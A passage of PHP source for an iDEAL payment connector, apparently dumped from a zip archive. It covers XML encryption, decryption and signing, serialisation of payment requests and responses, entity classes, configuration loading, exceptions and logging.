($this->type) { case (XMLSecEnc::Element): if ($this->rawNode->nodeType == XML_DOCUMENT_NODE) { return $this->encdoc; } $importEnc = $this->rawNode->ownerDocument->importNode($this->encdoc->documentElement, TRUE); $this->rawNode->parentNode->replaceChild($importEnc, $this->rawNode); return $importEnc; break; case (XMLSecEnc::Content): $importEnc = $this->rawNode->ownerDocument->importNode($this->encdoc->documentElement, TRUE); while ($this->rawNode->firstChild) { $this->rawNode->removeChild($this->rawNode->firstChild); } $this->rawNode->appendChild($importEnc); return $importEnc; break; } } } public function encryptReferences($objKey) { $curRawNode = $this->rawNode; $curType = $this->type; foreach ($this->references AS $name => $reference) { $this->encdoc = $reference["encnode"]; $this->rawNode = $reference["node"]; $this->type = $reference["type"]; try { $encNode = $this->encryptNode($objKey); $this->references[$name]["encnode"] = $encNode; } catch (Exception $e) { $this->rawNode = $curRawNode; $this->type = $curType; throw $e; } } $this->rawNode = $curRawNode; $this->type = $curType; } /** * Retrieve the CipherValue text from this encrypted node. * * @return string|NULL The Ciphervalue text, or NULL if no CipherValue is found. */ public function getCipherValue() { if (empty($this->rawNode)) { throw new Exception('Node to decrypt has not been set'); } $doc = $this->rawNode->ownerDocument; $xPath = new DOMXPath($doc); $xPath->registerNamespace('xmlencr', XMLSecEnc::XMLENCNS); /* Only handles embedded content right now and not a reference */ $query = "./xmlencr:CipherData/xmlencr:CipherValue"; $nodeset = $xPath->query($query, $this->rawNode); $node = $nodeset->item(0); if (!$node) { return NULL; } return base64_decode($node->nodeValue); } /** * Decrypt this encrypted node. * * The behaviour of this function depends on the value of $replace. * If $replace is FALSE, we will return the decrypted data as a string. * If $replace is TRUE, we will insert the decrypted element(s) into the * document, and return the decrypted element(s). * * @params XMLSecurityKey $objKey The decryption key that should be used when decrypting the node. * @params boolean $replace Whether we should replace the encrypted node in the XML document with the decrypted data. The default is TRUE. * @return string|DOMElement The decrypted data. */ public function decryptNode($objKey, $replace=TRUE) { if (!$objKey instanceof XMLSecurityKey) { throw new Exception('Invalid Key'); } $encryptedData = $this->getCipherValue(); if ($encryptedData) { $decrypted = $objKey->decryptData($encryptedData); if ($replace) { switch ($this->type) { case (XMLSecEnc::Element): $newdoc = new DOMDocument(); $newdoc->loadXML($decrypted); if ($this->rawNode->nodeType == XML_DOCUMENT_NODE) { return $newdoc; } $importEnc = $this->rawNode->ownerDocument->importNode($newdoc->documentElement, TRUE); $this->rawNode->parentNode->replaceChild($importEnc, $this->rawNode); return $importEnc; break; case (XMLSecEnc::Content): if ($this->rawNode->nodeType == XML_DOCUMENT_NODE) { $doc = $this->rawNode; } else { $doc = $this->rawNode->ownerDocument; } $newFrag = $doc->createDocumentFragment(); $newFrag->appendXML($decrypted); $parent = $this->rawNode->parentNode; $parent->replaceChild($newFrag, $this->rawNode); return $parent; break; default: return $decrypted; } } else { return $decrypted; } } else { throw new Exception("Cannot locate encrypted data"); } } public function encryptKey($srcKey, $rawKey, $append=TRUE) { if ((!$srcKey instanceof XMLSecurityKey) || (!$rawKey instanceof XMLSecurityKey)) { throw new Exception('Invalid Key'); } $strEncKey = base64_encode($srcKey->encryptData($rawKey->key)); $root = $this->encdoc->documentElement; $encKey = $this->encdoc->createElementNS(XMLSecEnc::XMLENCNS, 'xenc:EncryptedKey'); if ($append) { $keyInfo = $root->insertBefore($this->encdoc->createElementNS('http://www.w3.org/2000/09/xmldsig#', 'dsig:KeyInfo'), $root->firstChild); $keyInfo->appendChild($encKey); } else { $this->encKey = $encKey; } $encMethod = $encKey->appendChild($this->encdoc->createElementNS(XMLSecEnc::XMLENCNS, 'xenc:EncryptionMethod')); $encMethod->setAttribute('Algorithm', $srcKey->getAlgorith()); if (!empty($srcKey->name)) { $keyInfo = $encKey->appendChild($this->encdoc->createElementNS('http://www.w3.org/2000/09/xmldsig#', 'dsig:KeyInfo')); $keyInfo->appendChild($this->encdoc->createElementNS('http://www.w3.org/2000/09/xmldsig#', 'dsig:KeyName', $srcKey->name)); } $cipherData = $encKey->appendChild($this->encdoc->createElementNS(XMLSecEnc::XMLENCNS, 'xenc:CipherData')); $cipherData->appendChild($this->encdoc->createElementNS(XMLSecEnc::XMLENCNS, 'xenc:CipherValue', $strEncKey)); if (is_array($this->references) && count($this->references) > 0) { $refList = $encKey->appendChild($this->encdoc->createElementNS(XMLSecEnc::XMLENCNS, 'xenc:ReferenceList')); foreach ($this->references AS $name => $reference) { $refuri = $reference["refuri"]; $dataRef = $refList->appendChild($this->encdoc->createElementNS(XMLSecEnc::XMLENCNS, 'xenc:DataReference')); $dataRef->setAttribute("URI", '#' . $refuri); } } return; } public function decryptKey($encKey) { if (!$encKey->isEncrypted) { throw new Exception("Key is not Encrypted"); } if (empty($encKey->key)) { throw new Exception("Key is missing data to perform the decryption"); } return $this->decryptNode($encKey, FALSE); } public function locateEncryptedData($element) { if ($element instanceof DOMDocument) { $doc = $element; } else { $doc = $element->ownerDocument; } if ($doc) { $xpath = new DOMXPath($doc); $query = "//*[local-name()='EncryptedData' and namespace-uri()='" . XMLSecEnc::XMLENCNS . "']"; $nodeset = $xpath->query($query); return $nodeset->item(0); } return NULL; } public function locateKey($node=NULL) { if (empty($node)) { $node = $this->rawNode; } if (!$node instanceof DOMNode) { return NULL; } if ($doc = $node->ownerDocument) { $xpath = new DOMXPath($doc); $xpath->registerNamespace('xmlsecenc', XMLSecEnc::XMLENCNS); $query = ".//xmlsecenc:EncryptionMethod"; $nodeset = $xpath->query($query, $node); if ($encmeth = $nodeset->item(0)) { $attrAlgorithm = $encmeth->getAttribute("Algorithm"); try { $objKey = new XMLSecurityKey($attrAlgorithm, array('type' => 'private')); } catch (Exception $e) { return NULL; } return $objKey; } } return NULL; } static function staticLocateKeyInfo($objBaseKey=NULL, $node=NULL) { if (empty($node) || (!$node instanceof DOMNode)) { return NULL; } $doc = $node->ownerDocument; if (!$doc) { return NULL; } $xpath = new DOMXPath($doc); $xpath->registerNamespace('xmlsecenc', XMLSecEnc::XMLENCNS); $xpath->registerNamespace('xmlsecdsig', XMLSecurityDSig::XMLDSIGNS); $query = "./xmlsecdsig:KeyInfo"; $nodeset = $xpath->query($query, $node); $encmeth = $nodeset->item(0); if (!$encmeth) { /* No KeyInfo in EncryptedData / EncryptedKey. */ return $objBaseKey; } foreach ($encmeth->childNodes AS $child) { switch ($child->localName) { case 'KeyName': if (!empty($objBaseKey)) { $objBaseKey->name = $child->nodeValue; } break; case 'KeyValue': foreach ($child->childNodes AS $keyval) { switch ($keyval->localName) { case 'DSAKeyValue': throw new Exception("DSAKeyValue currently not supported"); break; case 'RSAKeyValue': $modulus = NULL; $exponent = NULL; if ($modulusNode = $keyval->getElementsByTagName('Modulus')->item(0)) { $modulus = base64_decode($modulusNode->nodeValue); } if ($exponentNode = $keyval->getElementsByTagName('Exponent')->item(0)) { $exponent = base64_decode($exponentNode->nodeValue); } if (empty($modulus) || empty($exponent)) { throw new Exception("Missing Modulus or Exponent"); } $publicKey = XMLSecurityKey::convertRSA($modulus, $exponent); $objBaseKey->loadKey($publicKey); break; } } break; case 'RetrievalMethod': $type = $child->getAttribute('Type'); if ($type !== 'http://www.w3.org/2001/04/xmlenc#EncryptedKey') { /* Unsupported key type. */ break; } $uri = $child->getAttribute('URI'); if ($uri[0] !== '#') { /* URI not a reference - unsupported. */ break; } $id = substr($uri, 1); $query = "//xmlsecenc:EncryptedKey[@Id='$id']"; $keyElement = $xpath->query($query)->item(0); if (!$keyElement) { throw new Exception("Unable to locate EncryptedKey with @Id='$id'."); } return XMLSecurityKey::fromEncryptedKeyElement($keyElement); case 'EncryptedKey': return XMLSecurityKey::fromEncryptedKeyElement($child); case 'X509Data': if ($x509certNodes = $child->getElementsByTagName('X509Certificate')) { if ($x509certNodes->length > 0) { $x509cert = $x509certNodes->item(0)->textContent; $x509cert = str_replace(array("\r", "\n"), "", $x509cert); $x509cert = "-----BEGIN CERTIFICATE-----\n" . chunk_split($x509cert, 64, "\n") . "-----END CERTIFICATE-----\n"; $objBaseKey->loadKey($x509cert, FALSE, TRUE); } } break; } } return $objBaseKey; } public function locateKeyInfo($objBaseKey=NULL, $node=NULL) { if (empty($node)) { $node = $this->rawNode; } return XMLSecEnc::staticLocateKeyInfo($objBaseKey, $node); } } PK\xZ%payment/ideal/lib/Xml/XmlSecurity.phpnu[setCanonicalMethod(XMLSecurityDSig::EXC_C14N); $signature->addReference($doc, XMLSecurityDSig::SHA256, array('http://www.w3.org/2000/09/xmldsig#enveloped-signature'), array('force_uri' => true)); $key = new XMLSecurityKey(XMLSecurityKey::RSA_SHA256, array('type' => 'private')); $key->passphrase = $passphrase; $key->loadKey($privateKeyPath, TRUE); $signature->sign($key); $fingerprint = $this->getFingerprint($privateCertificatePath); $signature->addKeyInfoAndName($fingerprint); $signature->appendSignature($doc->documentElement); return $doc->saveXML(); } public function verify(DOMDocument $doc, $certificatePath) { $signature = new XMLSecurityDSig(); $sig = $signature->locateSignature($doc); if (!$sig) throw new SecurityException("Cannot locate Signature Node"); //$signature->setCanonicalMethod(XMLSecurityDSig::EXC_C14N); //whitespaces are significant $signature->canonicalizeSignedInfo(); try { $signature->validateReference(); } catch(Exception $ex) { throw new SecurityException("Reference Validation Failed"); } $key = $signature->locateKey(); if (!$key) throw new SecurityException("Cannot locate the key."); $key->loadKey($certificatePath,true); return $signature->verify($key) == 1; } private function getFingerprint($path) { $contents = file_get_contents($path); if (is_null($contents)) throw new SecurityException("Empty certificate."); $contents = str_replace('-----END CERTIFICATE-----', '', str_replace('-----BEGIN CERTIFICATE-----', '', $contents)); $contents = base64_decode($contents); return sha1($contents); } } PK\m+8+8'payment/ideal/lib/Xml/XmlSerializer.phpnu[createElement("DirectoryReq"); $this->serializeAbstractRequest($element, $input); /* @var $input DirectoryRequest */ $this->serializeDirectoryRequest($element, $input); $doc->appendChild($element); } else if ($className === "iDEALConnector\Entities\AcquirerTransactionRequest") { $element = $doc->createElement("AcquirerTrxReq"); $this->serializeAbstractRequest($element, $input); /* @var $input AcquirerTransactionRequest */ $this->serializeAcquirerTransactionRequest($element, $input); $doc->appendChild($element); } else if ($className === "iDEALConnector\Entities\AcquirerStatusRequest") { $element = $doc->createElement("AcquirerStatusReq"); $this->serializeAbstractRequest($element, $input); /* @var $input AcquirerStatusRequest */ $this->serializeAcquirerStatusRequest($element, $input); $doc->appendChild($element); } else throw new SerializationException('Given object type could not be serialized.'); return $doc; } private function serializeAbstractRequest(DOMElement $element, AbstractRequest $request) { $element->appendChild(new DOMElement("createDateTimestamp", $request->getCreateDateTimestamp()->format("Y-m-d\TH:i:s\Z"))); $element->setAttribute("version", $request->getVersion()); $element->setAttribute("xmlns", "http://www.idealdesk.com/ideal/messages/mer-acq/3.3.1"); } private function serializeDirectoryRequest(DOMElement $element, DirectoryRequest $request) { $merchant = $element->ownerDocument->createElement("Merchant"); $this->serializeMerchant($merchant, $request->getMerchant()); $element->appendChild($merchant); } private function serializeAcquirerTransactionRequest(DOMElement $element, AcquirerTransactionRequest $request) { $item = $element->ownerDocument->createElement("Issuer"); $item->appendChild(new DOMElement("issuerID", $request->getIssuerID())); $element->appendChild($item); $item = $element->ownerDocument->createElement("Merchant"); $this->serializeMerchant($item, $request->getMerchant(), true); $element->appendChild($item); $item = $element->ownerDocument->createElement("Transaction"); $this->serializeTransaction($item, $request->getTransaction()); $element->appendChild($item); } private function serializeAcquirerStatusRequest(DOMElement $element, AcquirerStatusRequest $request) { $item = $element->ownerDocument->createElement("Merchant"); $this->serializeMerchant($item, $request->getMerchant()); $element->appendChild($item); $item = $element->ownerDocument->createElement("Transaction"); $item->appendChild(new DOMElement("transactionID", $request->getTransactionID())); $element->appendChild($item); } private function serializeMerchant(DOMElement $element, Merchant $merchant, $withUrl = false) { $element->appendChild(new DOMElement("merchantID", $merchant->getMerchantID())); $element->appendChild(new DOMElement("subID", $merchant->getSubID())); if ($withUrl) $element->appendChild(new DOMElement("merchantReturnURL", $merchant->getMerchantReturnURL())); } private function serializeTransaction(DOMElement $element, Transaction $transaction) { $element->appendChild(new DOMElement("purchaseID", $transaction->getPurchaseId())); $element->appendChild(new DOMElement("amount", number_format($transaction->getAmount(), 2, '.', ''))); $element->appendChild(new DOMElement("currency", $transaction->getCurrency())); if ($transaction->getExpirationPeriod() === 60) $element->appendChild(new DOMElement("expirationPeriod", "PT1H")); else $element->appendChild(new DOMElement("expirationPeriod", "PT".$transaction->getExpirationPeriod()."M")); $element->appendChild(new DOMElement("language", $transaction->getLanguage())); $element->appendChild(new DOMElement("description", $transaction->getDescription())); $element->appendChild(new DOMElement("entranceCode", $transaction->getEntranceCode())); } ///Deserialize/// /** * @param \DOMDocument $xml * @return \iDEALConnector\Entities\AbstractResponse */ public function deserialize(DOMDocument $xml) { $this->checkForErrorMessage($xml); return $this->deserializeResponse($xml->documentElement); } private function checkForErrorMessage(DOMDocument $doc) { if ($doc->documentElement->tagName === "AcquirerErrorRes") { $code = null; $message = null; $details = ''; $action = '' ; $consumerMessage = '' ; if($doc->documentElement->hasChildNodes()) { $elements = $doc->documentElement->getElementsByTagName("Error"); if ($elements->length === 1) { try { /* @var $element \DOMElement */ $element = $elements->item(0); $code = $element->getElementsByTagName("errorCode")->item(0)->nodeValue; $message = $element->getElementsByTagName("errorMessage")->item(0)->nodeValue; $nodes = $element->getElementsByTagName("errorDetail"); if ($nodes->length === 1) $details = $nodes->item(0)->nodeValue; $nodes = $element->getElementsByTagName("suggestedAction"); if ($nodes->length === 1) $action = $nodes->item(0)->nodeValue; $nodes = $element->getElementsByTagName("consumerMessage"); if ($nodes->length === 1) $consumerMessage = $nodes->item(0)->nodeValue; } catch(\Exception $e) { //Pass-through to exception throwing if minimum requirements are not met. } } if(is_null($code) || is_null($message)) throw new SerializationException("Invalid format of error response."); throw new iDEALException($code, $message, $details, $action, $consumerMessage); } throw new SerializationException("Error response missing content."); } } private function deserializeResponse(DOMElement $xml) { $timestamp = $xml->getElementsByTagName("createDateTimestamp"); if ($timestamp->length != 1) throw new SerializationException('Element "createDateTimestamp" should be present once.'); $timestamp = new DateTime($timestamp->item(0)->nodeValue); if ($xml->tagName === "DirectoryRes") { return $this->deserializeDirectoryResponse($xml, $timestamp); } else if ($xml->tagName === "AcquirerTrxRes") { return $this->deserializeAcquirerTransactionResponse($xml, $timestamp); } else if ($xml->tagName === "AcquirerStatusRes") { return $this->deserializeAcquirerStatusResponse($xml, $timestamp); } throw new SerializationException('Could not deserialize response.'); } private function deserializeDirectoryResponse(DOMElement $xml, DateTime $createdTimestamp) { /* @var $nodes DOMNodeList */ /* @var $node DOMElement */ $nodes = $this->getChildren($xml, "Acquirer"); $node = $nodes->item(0); $acquirerID = $this->getFirstValue($node, "acquirerID","Acquirer.acquirerID"); $nodes = $this->getChildren($xml, "Directory"); $node = $nodes->item(0); $timestamp = new DateTime( $this->getFirstValue($node, "directoryDateTimestamp","Directory.directoryDateTimestamp")); $countryElements = $this->getChildren($node, "Country", "Directory.Country", -1); $countries = array(); /* @var $country DOMElement */ foreach($countryElements as $country) { require_once (__DIR__ . "/../Entities/Issuer.php"); require_once (__DIR__ . "/../Entities/Country.php"); $names = $this->getFirstValue($country, "countryNames","Directory.Country.countryNames"); $subNodes = $this->getChildren($country, "Issuer", "Directory.Country.Issuer", -1); $issuers = array(); /* @var $issuer DOMElement */ foreach($subNodes as $issuer) { $id = $this->getFirstValue($issuer, "issuerID","Directory.Country.Issuer.issuerID"); $name = $this->getFirstValue($issuer, "issuerName","Directory.Country.Issuer.issuerName"); array_push($issuers, new \iDEALConnector\Entities\Issuer($id, $name)); } array_push($countries, new \iDEALConnector\Entities\Country($names, $issuers)); } return new DirectoryResponse($createdTimestamp, $timestamp, $acquirerID, $countries); } private function deserializeAcquirerTransactionResponse(DOMElement $xml, DateTime $createdTimestamp) { /* @var $nodes DOMNodeList */ /* @var $node DOMElement */ $nodes = $this->getChildren($xml, "Acquirer"); $node = $nodes->item(0); $acquirerID = $this->getFirstValue($node, "acquirerID","Acquirer.acquirerID"); $nodes = $this->getChildren($xml, "Issuer"); $node = $nodes->item(0); $issuerAuthenticationUrl = $this->getFirstValue($node, "issuerAuthenticationURL","Issuer.issuerAuthenticationURL"); $nodes = $this->getChildren($xml, "Transaction"); $node = $nodes->item(0); $transactionId = $this->getFirstValue($node, "transactionID","Transaction.transactionID"); $transactionCreateDateTimestamp = new DateTime($this->getFirstValue( $node, "transactionCreateDateTimestamp", "Transaction.transactionCreateDateTimestamp")); $purchaseID = $this->getFirstValue($node, "purchaseID","Transaction.purchaseID"); return new AcquirerTransactionResponse( $acquirerID, $issuerAuthenticationUrl, $purchaseID, $transactionId, $transactionCreateDateTimestamp, $createdTimestamp); } private function deserializeAcquirerStatusResponse(DOMElement $xml, DateTime $createdTimestamp) { /* @var $nodes DOMNodeList */ /* @var $node DOMElement */ $nodes = $this->getChildren($xml, "Acquirer"); $node = $nodes->item(0); $acquirerID = $this->getFirstValue($node, "acquirerID","Acquirer.acquirerID"); $nodes = $this->getChildren($xml, "Transaction"); $node = $nodes->item(0); $transactionId = $this->getFirstValue($node, "transactionID","Transaction.transactionID"); $status = $this->getFirstValue($node, "status","Transaction.status"); $timestamp = new DateTime($this->getFirstValue($node, "statusDateTimestamp","Transaction.statusDateTimestamp")); $consumerName = $this->getFirstValue($node, "consumerName","Transaction.consumerName", 0); $consumerIBAN = $this->getFirstValue($node, "consumerIBAN","Transaction.consumerIBAN", 0); $consumerBIC = $this->getFirstValue($node, "consumerBIC","Transaction.consumerBIC", 0); $amount = floatval($this->getFirstValue($node, "amount","Transaction.amount", 0)); $currency = $this->getFirstValue($node, "currency","Transaction.currency", 0); return new AcquirerStatusResponse( $acquirerID, $amount, $consumerBIC, $consumerIBAN, $consumerName, $createdTimestamp, $currency, $status, $timestamp, $transactionId); } private function getChildren(DOMElement $element, $tag, $key = null, $occurs = 1) { if(is_null($key)) $key = $tag; $nodes = $element->getElementsByTagName($tag); if ($occurs === 0 && $nodes->length != 1) throw new SerializationException("Element '$key' should be present once."); if ($occurs === 1 && $nodes->length < 1) throw new SerializationException("Element '$key' should be present at least once."); return $nodes; } private function getFirstValue(DOMElement $node, $tag, $key, $occurs = 1) { /* @var $nodes DOMNodeList */ $nodes = $node->getElementsByTagName($tag); if ($nodes->length === 0) return null; if ($occurs === 1 && $nodes->length != 1) throw new SerializationException("Element '$key' should be present once."); if ($occurs === -1 && $nodes->length < 1) throw new SerializationException("Element '$key' should be present at least once."); return $nodes->item(0)->nodeValue; } } PK\}kY  :payment/ideal/lib/Entities/AcquirerTransactionResponse.phpnu[acquirerID = $acquirerID; $this->issuerAuthenticationURL = $issuerAuthenticationURL; $this->purchaseID = $purchaseID; $this->transactionID = $transactionID; $this->transactionTimestamp = $transactionTimestamp; } /** * @return string */ public function getPurchaseID() { return $this->purchaseID; } /** * @return string */ public function getTransactionID() { return $this->transactionID; } /** * @return DateTime */ public function getTransactionTimestamp() { return $this->transactionTimestamp; } /** * @return string */ public function getAcquirerID() { return $this->acquirerID; } /** * @return string */ public function getIssuerAuthenticationURL() { return $this->issuerAuthenticationURL; } } PK\PP%payment/ideal/lib/Entities/Issuer.phpnu[id = $id; $this->name = $name; } /** * @return string */ public function getId() { return $this->id; } /** * @return string */ public function getName() { return $this->name; } } PK\JVXl/payment/ideal/lib/Entities/AbstractResponse.phpnu[createDateTimestamp = $createDateTimestamp; } /** * @return DateTime */ public function getCreateDateTimestamp() { return $this->createDateTimestamp; } } PK\+y00/payment/ideal/lib/Entities/DirectoryRequest.phpnu[merchant = $merchant; } /** * @return Merchant */ public function getMerchant() { return $this->merchant; } } PK\;a335payment/ideal/lib/Entities/AcquirerStatusResponse.phpnu[acquirerID = $acquirerID; $this->amount = $amount; $this->consumerBIC = $consumerBIC; $this->consumerIBAN = $consumerIBAN; $this->consumerName = $consumerName; $this->currency = $currency; $this->status = $status; $this->statusTimestamp = $statusTimestamp; $this->transactionID = $transactionID; } /** * @return string */ public function getAcquirerID() { return $this->acquirerID; } /** * @return float */ public function getAmount() { return $this->amount; } /** * @return string */ public function getConsumerBIC() { return $this->consumerBIC; } /** * @return string */ public function getConsumerIBAN() { return $this->consumerIBAN; } /** * @return string */ public function getConsumerName() { return $this->consumerName; } /** * @return string */ public function getCurrency() { return $this->currency; } /** * @return string */ public function getStatus() { return $this->status; } /** * @return DateTime */ public function getStatusTimestamp() { return $this->statusTimestamp; } /** * @return string */ public function getTransactionID() { return $this->transactionID; } } PK\O!!.payment/ideal/lib/Entities/AbstractRequest.phpnu[createDateTimestamp = new DateTime(); } /** * @return DateTime */ public function getCreateDateTimestamp() { return $this->createDateTimestamp; } /** * @return string */ public function getVersion() { return "3.3.1"; } } PK\ ='payment/ideal/lib/Entities/Merchant.phpnu[merchantID = $merchantID; $this->merchantReturnURL = $merchantReturnURL; $this->subID = $subID; } /** * @return string */ public function getMerchantID() { return $this->merchantID; } /** * @return int */ public function getSubID() { return $this->subID; } /** * @return string */ public function getMerchantReturnURL() { return $this->merchantReturnURL; } } PK\K\&payment/ideal/lib/Entities/Country.phpnu[countryNames = $countryNames; $this->issuers = $issuers; } /** * @return string */ public function getCountryNames() { return $this->countryNames; } /** * @return Issuer[] */ public function getIssuers() { return $this->issuers; } } PK\9payment/ideal/lib/Entities/AcquirerTransactionRequest.phpnu[issuerID = $issuerID; $this->merchant = $merchant; $this->transaction = $transaction; } /** * @return string */ public function getIssuerID() { return $this->issuerID; } /** * @return Merchant */ public function getMerchant() { return $this->merchant; } /** * @return Transaction */ public function getTransaction() { return $this->transaction; } } PK\Scc4payment/ideal/lib/Entities/AcquirerStatusRequest.phpnu[merchant = $merchant; $this->transactionID = $transactionID; } /** * @return Merchant */ public function getMerchant() { return $this->merchant; } /** * @return string */ public function getTransactionID() { return $this->transactionID; } } PK\W90payment/ideal/lib/Entities/DirectoryResponse.phpnu[directoryDate = $directoryDate; $this->acquirerID = $acquirerID; $this->countries = $countries; } /** * @return string */ public function getAcquirerID() { return $this->acquirerID; } /** * @return Country[] */ public function getCountries() { return $this->countries; } /** * @return DateTime */ public function getDirectoryDate() { return $this->directoryDate; } } PK\: : *payment/ideal/lib/Entities/Transaction.phpnu[amount = $amount; $this->currency = $currency; $this->description = $description; $this->entranceCode = $entranceCode; $this->expirationPeriod = $expirationPeriod; $this->language = $language; $this->purchaseId = $purchaseID; } /** * Amount * @return float */ public function getAmount() { return $this->amount; } /** * Currency * @return string */ public function getCurrency() { return $this->currency; } /** * @return string */ public function getDescription() { return $this->description; } /** * Entrance code * @return string */ public function getEntranceCode() { return $this->entranceCode; } /** * Expiration period * @return int */ public function getExpirationPeriod() { return $this->expirationPeriod; } /** * Language * @return string */ public function getLanguage() { return $this->language; } /** * Purchase number * @return string */ public function getPurchaseId() { return $this->purchaseId; } } PK\@;payment/ideal/lib/Configuration/IConnectorConfiguration.phpnu[loadFromFile($pathOrArray); else $this->loadFromArray($pathOrArray); } private function loadFromFile($path) { $file = fopen($path,'r'); $config_data = array(); if ($file) { while (!feof($file)) { $buffer = fgets($file); /* @var $buffer array() */ $buffer = trim($buffer); if (!empty($buffer)) { if ($buffer[0] != '#') { $pos = strpos($buffer, '='); if ($pos > 0 && $pos != (strlen($buffer) - 1)) { $dumb = trim(substr($buffer, 0, $pos)); if (!empty($dumb)) { // Populate the configuration array $config_data[strtoupper(substr($buffer, 0, $pos))] = substr($buffer, $pos + 1); } } } } } } fclose($file); if(isset($config_data['MERCHANTID'])) $this->merchantID = $config_data['MERCHANTID']; if(isset($config_data['SUBID'])) $this->subID = intval($config_data['SUBID']); if(isset($config_data['MERCHANTRETURNURL'])) $this->returnURL = $config_data['MERCHANTRETURNURL']; if(isset($config_data['ACQUIRERURL'])) { $this->acquirerDirectoryURL = $config_data['ACQUIRERURL']; $this->acquirerStatusURL = $config_data['ACQUIRERURL']; $this->acquirerTransactionURL = $config_data['ACQUIRERURL']; } if(isset($config_data['ACQUIRERTIMEOUT'])) $this->timeout = intval($config_data['ACQUIRERTIMEOUT']); if(isset($config_data['EXPIRATIONPERIOD'])) { if ($config_data['EXPIRATIONPERIOD'] === "PT1H") $this->expirationPeriod = 60; else { $value = substr($config_data['EXPIRATIONPERIOD'], 2, strlen($config_data['EXPIRATIONPERIOD']) - 3); if (is_numeric($value)) $this->expirationPeriod = intval($value); } } if(isset($config_data['CERTIFICATE0'])) $this->acquirerCertificate = $config_data['CERTIFICATE0']; if(isset($config_data['PRIVATECERT'])) $this->certificate = $config_data['PRIVATECERT']; if(isset($config_data['PRIVATEKEY'])) $this->privateKey = $config_data['PRIVATEKEY']; if(isset($config_data['PRIVATEKEYPASS'])) $this->passphrase = $config_data['PRIVATEKEYPASS']; if(isset($config_data['PROXY'])) $this->proxy = $config_data['PROXY']; if(isset($config_data['PROXYACQURL'])) $this->proxyUrl = $config_data['PROXYACQURL']; if(isset($config_data['LOGFILE'])) $this->logFile = $config_data['LOGFILE']; if(isset($config_data['TRACELEVEL'])) { $level = $config_data['TRACELEVEL']; if ($level === "DEBUG") $this->logLevel = LogLevel::Debug; else if ($level === "ERROR") $this->logLevel = LogLevel::Error; } } private function loadFromArray($config_data) { if(isset($config_data['MERCHANTID'])) $this->merchantID = $config_data['MERCHANTID']; if(isset($config_data['SUBID'])) $this->subID = intval($config_data['SUBID']); if(isset($config_data['MERCHANTRETURNURL'])) $this->returnURL = $config_data['MERCHANTRETURNURL']; if(isset($config_data['ACQUIRERURL'])) { $this->acquirerDirectoryURL = $config_data['ACQUIRERURL']; $this->acquirerStatusURL = $config_data['ACQUIRERURL']; $this->acquirerTransactionURL = $config_data['ACQUIRERURL']; } if(isset($config_data['ACQUIRERTIMEOUT'])) $this->timeout = intval($config_data['ACQUIRERTIMEOUT']); if(isset($config_data['EXPIRATIONPERIOD'])) { if ($config_data['EXPIRATIONPERIOD'] === "PT1H") $this->expirationPeriod = 60; else { $value = substr($config_data['EXPIRATIONPERIOD'], 2, strlen($config_data['EXPIRATIONPERIOD']) - 3); if (is_numeric($value)) $this->expirationPeriod = intval($value); } } if(isset($config_data['CERTIFICATE0'])) $this->acquirerCertificate = $config_data['CERTIFICATE0']; if(isset($config_data['PRIVATECERT'])) $this->certificate = $config_data['PRIVATECERT']; if(isset($config_data['PRIVATEKEY'])) $this->privateKey = $config_data['PRIVATEKEY']; if(isset($config_data['PRIVATEKEYPASS'])) $this->passphrase = $config_data['PRIVATEKEYPASS']; if(isset($config_data['PROXY'])) $this->proxy = $config_data['PROXY']; if(isset($config_data['PROXYACQURL'])) $this->proxyUrl = $config_data['PROXYACQURL']; if(isset($config_data['LOGFILE'])) $this->logFile = $config_data['LOGFILE']; if(isset($config_data['TRACELEVEL'])) { $level = $config_data['TRACELEVEL']; if ($level === "DEBUG") $this->logLevel = LogLevel::Debug; else if ($level === "ERROR") $this->logLevel = LogLevel::Error; } if(isset($config_data['DEBUGLOG'])) $this->debugLog = $config_data['DEBUGLOG'] > 0; } public function getAcquirerCertificatePath() { return $this->acquirerCertificate; } public function getCertificatePath() { return $this->certificate; } public function getExpirationPeriod() { return $this->expirationPeriod; } public function getMerchantID() { return $this->merchantID; } public function getPassphrase() { return $this->passphrase; } public function getPrivateKeyPath() { return $this->privateKey; } public function getMerchantReturnURL() { return $this->returnURL; } public function getSubID() { return $this->subID; } public function getAcquirerTimeout() { return $this->timeout; } public function getAcquirerDirectoryURL() { return $this->acquirerDirectoryURL; } public function getAcquirerStatusURL() { return $this->acquirerStatusURL; } public function getAcquirerTransactionURL() { return $this->acquirerTransactionURL; } /** * @return string */ public function getProxy() { return $this->proxy; } /** * @return string */ public function getProxyUrl() { return $this->proxyUrl; } /** * @return string */ public function getLogFile() { return $this->logFile; } /** * @return int */ public function getLogLevel() { return $this->logLevel; } public function getDebugLog() { return $this->debugLog; } } PK\D/payment/ideal/lib/Exceptions/iDEALException.phpnu[errorCode = $code; $this->errorDetail = $errorDetail; $this->suggestedAction = $suggestedAction; $this->consumerMessage = $consumerMessage; } public function getConsumerMessage() { return $this->consumerMessage; } public function getErrorCode() { return $this->errorCode; } public function getErrorDetail() { return $this->errorDetail; } public function getSuggestedAction() { return $this->suggestedAction; } } PK\#``7payment/ideal/lib/Exceptions/SerializationException.phpnu[xml; } } PK\Hll3payment/ideal/lib/Exceptions/ConnectorException.phpnu[xml; } } PK\ss$payment/ideal/lib/Log/DefaultLog.phpnu[logLevel = $logLevel; // $this->logPath = $logPath; // } function __construct($debugLog) { $this->debugLog = $debugLog; } public function logAPICall($method, AbstractRequest $request) { // if ($this->logLevel === 0) if ($this->debugLog) $this->log("Entering[".$method."]", $request); } public function logAPIReturn($method, AbstractResponse $response) { // if ($this->logLevel === 0) if ($this->debugLog) $this->log("Exiting[".$method."]", $response); } public function logRequest($xml) { // if ($this->logLevel === 0) if ($this->debugLog) $this->log("Request", $xml); } public function logResponse($xml) { // if ($this->logLevel === 0) if ($this->debugLog) $this->log("Response", $xml); } public function logErrorResponse(iDEALException $exception) { $this->log("ErrorResponse", $exception); } public function logException(ConnectorException $exception) { $this->log("Exception", $exception); } private function log($message, $value) { // $now = new DateTime(); // file_put_contents($this->logPath, $now->format('Y-m-d H:i:s').' '.$message."\n".serialize($value)."\n\n", FILE_APPEND); \Am_Di::getInstance()->errorLogTable->log("iDEAL debug-log: " . $message."[".serialize($value)."]"); } } PK\3bb"payment/ideal/lib/Log/LogLevel.phpnu[validateMerchant($request->getMerchant()); } else if ($className === "iDEALConnector\Entities\AcquirerTransactionRequest") { /* @var $request AcquirerTransactionRequest */ $this->validateAcquirerTransactionRequest($request); } else if ($className === "iDEALConnector\Entities\AcquirerStatusRequest") { /* @var $request AcquirerStatusRequest */ $this->validateAcquirerStatusRequest($request); } else if ($className === 